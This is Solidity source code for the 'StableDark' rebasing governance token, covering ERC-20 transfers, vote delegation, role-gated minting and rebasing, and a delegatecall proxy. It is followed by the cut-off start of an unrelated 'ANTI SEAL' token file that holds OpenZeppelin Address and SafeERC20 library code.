/**
* @notice Sets the rebaser contract
*/
event NewRebaser(address oldRebaser, address newRebaser);
/**
* @notice Sets the incentivizer contract
*/
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
/* - ERC20 Events - */
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/* - Extra Events - */
/**
* @notice Tokens minted event
*/
event Mint(address to, uint256 amount);
// Public functions
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
/* - Governance Functions - */
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
/* - Permissioned/Governance functions - */
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract StableDarkGovernanceToken is StableDarkTokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "StableDark::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "StableDark::delegateBySig: invalid nonce");
require(now <= expiry, "StableDark::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "StableDark::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _stabledarkBalances[delegator]; // balance of underlying StableDarks (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "StableDark::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
/* import "./StableDarkTokenInterface.sol"; */
contract StableDarkToken is StableDarkGovernanceToken {
// Modifiers
modifier onlyGov() {
require(msg.sender == gov);
_;
}
modifier onlyRebaser() {
require(msg.sender == rebaser);
_;
}
modifier onlyMinter() {
require(msg.sender == rebaser || msg.sender == incentivizer || msg.sender == gov, "not minter");
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_
)
public
{
require(stabledarksScalingFactor == 0, "already initialized");
name = name_;
symbol = symbol_;
decimals = decimals_;
}
/**
* @notice Computes the current totalSupply
*/
function totalSupply()
external
view
returns (uint256)
{
return _totalSupply.div(10**24/ (BASE));
}
/**
* @notice Computes the current max scaling factor
*/
function maxScalingFactor()
external
view
returns (uint256)
{
return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
// scaling factor can only go up to 2**256-1 = initSupply * stabledarksScalingFactor
// this is used to check if stabledarksScalingFactor will be too high to compute balances when rebasing.
return uint256(-1) / initSupply;
}
/**
* @notice Mints new tokens, increasing totalSupply, initSupply, and a users balance.
* @dev Limited to onlyMinter modifier
*/
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
// increase totalSupply
_totalSupply = _totalSupply.add(amount.mul(10**24/ (BASE)));
// get underlying value
uint256 stabledarkValue = amount.mul(internalDecimals).div(stabledarksScalingFactor);
// increase initSupply
initSupply = initSupply.add(stabledarkValue);
// make sure the mint didnt push maxScalingFactor too low
require(stabledarksScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
// add balance
_stabledarkBalances[to] = _stabledarkBalances[to].add(stabledarkValue);
emit Transfer(address(0), to, amount);
// add delegates to the minter
_moveDelegates(address(0), _delegates[to], stabledarkValue);
emit Mint(to, amount);
}
/* - ERC20 functionality - */
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// underlying balance is stored in stabledarks, so divide by current scaling factor
// note, this means as scaling factor grows, dust will be untransferrable.
// minimum transfer value == stabledarksScalingFactor / 1e24;
// get amount in underlying
uint256 stabledarkValue = value.mul(internalDecimals).div(stabledarksScalingFactor);
// sub from balance of sender
_stabledarkBalances[msg.sender] = _stabledarkBalances[msg.sender].sub(stabledarkValue);
// add to balance of receiver
_stabledarkBalances[to] = _stabledarkBalances[to].add(stabledarkValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], stabledarkValue);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
// decrease allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
// get value in stabledarks
uint256 stabledarkValue = value.mul(internalDecimals).div(stabledarksScalingFactor);
// sub from from
_stabledarkBalances[from] = _stabledarkBalances[from].sub(stabledarkValue);
_stabledarkBalances[to] = _stabledarkBalances[to].add(stabledarkValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], stabledarkValue);
return true;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
external
view
returns (uint256)
{
return _stabledarkBalances[who].mul(stabledarksScalingFactor).div(internalDecimals);
}
/** @notice Currently returns the internal storage amount
* @param who The address to query.
* @return The underlying balance of the specified address.
*/
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _stabledarkBalances[who];
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/* - Governance Functions - */
/** @notice sets the rebaser
* @param rebaser_ The address of the rebaser contract to use for authentication.
*/
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
/** @notice sets the incentivizer
* @param incentivizer_ The address of the rebaser contract to use for authentication.
*/
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
/** @notice sets the pendingGov
* @param pendingGov_ The address of the rebaser contract to use for authentication.
*/
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
/** @notice lets msg.sender accept governance
*
*/
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/* - Extras - */
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, stabledarksScalingFactor, stabledarksScalingFactor);
return _totalSupply;
}
uint256 prevSdarksScalingFactor = stabledarksScalingFactor;
if (!positive) {
stabledarksScalingFactor = stabledarksScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = stabledarksScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
stabledarksScalingFactor = newScalingFactor;
} else {
stabledarksScalingFactor = _maxScalingFactor();
}
}
_totalSupply = initSupply.mul(stabledarksScalingFactor).div(BASE);
emit Rebase(epoch, prevSdarksScalingFactor, stabledarksScalingFactor);
return _totalSupply;
}
}
contract StableDark is StableDarkToken {
/**
* @notice Initialize the new money market
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
_totalSupply = initSupply;
stabledarksScalingFactor = BASE;
_stabledarkBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
// owner renounces ownership after deployment as they need to set
// rebaser and incentivizer
// gov = gov_;
}
}
contract StableDarkDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract StableDarkDelegatorInterface is StableDarkDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract StableDarkDelegateInterface is StableDarkDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
contract StableDarkDelegate is StableDark, StableDarkDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == gov, "only the gov may call _resignImplementation");
}
}
contract StableDarkDelegator is StableDarkTokenInterface, StableDarkDelegatorInterface {
/**
* @notice Construct a new StableDark
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
* @param initSupply_ Initial token amount
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_setImplementation(implementation_, false, becomeImplementationData);
}
/**
* @notice Called by the gov to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {
require(msg.sender == gov, "StableDarkDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
delegateToImplementation(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(address to, uint256 mintAmount)
external
returns (bool)
{
to; mintAmount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount)
external
returns (bool)
{
dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
delegateAndReturn();
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
delegateAndReturn();
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
delegateAndReturn();
}
function totalSupply()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function maxScalingFactor()
external
view
returns (uint256)
{
delegateToViewAndReturn();
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
delegateAndReturn();
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
delegateAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param delegator The address of the account which has designated a delegate
* @return Address of delegatee
*/
function delegates(
address delegator
)
external
view
returns (address)
{
delegator; // Shh
delegateToViewAndReturn();
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/**
* @notice Currently unused. For future compatability
* @param owner The address of the account to query
* @return The number of underlying tokens owned by `owner`
*/
function balanceOfUnderlying(address owner)
external
view
returns (uint256)
{
owner; // Shh
delegateToViewAndReturn();
}
/*** Gov Functions ***/
/**
* @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer.
* @param newPendingGov New pending gov.
*/
function _setPendingGov(address newPendingGov)
external
{
newPendingGov; // Shh
delegateAndReturn();
}
function _setRebaser(address rebaser_)
external
{
rebaser_; // Shh
delegateAndReturn();
}
function _setIncentivizer(address incentivizer_)
external
{
incentivizer_; // Shh
delegateAndReturn();
}
/**
* @notice Accepts transfer of gov rights. msg.sender must be pendingGov
* @dev Gov function for pending gov to accept role and update gov
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptGov()
external
{
delegateAndReturn();
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
account; blockNumber;
delegateToViewAndReturn();
}
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
delegateAndReturn();
}
function delegate(address delegatee)
external
{
delegatee;
delegateAndReturn();
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
account;
delegateToViewAndReturn();
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() private view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() private returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"StableDarkDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
delegateAndReturn();
}
}
|
DC1
|
// Website: https://antiseal.finance/
// Telegram: https://t.me/ANTI_SEAL
/*
** █████╗ ███╗ ██╗████████╗██╗███████╗███████╗ █████╗ ██╗
** ██╔══██╗████╗ ██║╚══██╔══╝██║██╔════╝██╔════╝██╔══██╗██║
** ███████║██╔██╗ ██║ ██║ ██║███████╗█████╗ ███████║██║
** ██╔══██║██║╚██╗██║ ██║ ██║╚════██║██╔══╝ ██╔══██║██║
** ██║ ██║██║ ╚████║ ██║ ██║███████║███████╗██║ ██║███████╗
** ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝
**
*/
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
// / File: node_modules\@openzeppelin\contracts\utils\Address.sol
// 0.6.12+
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
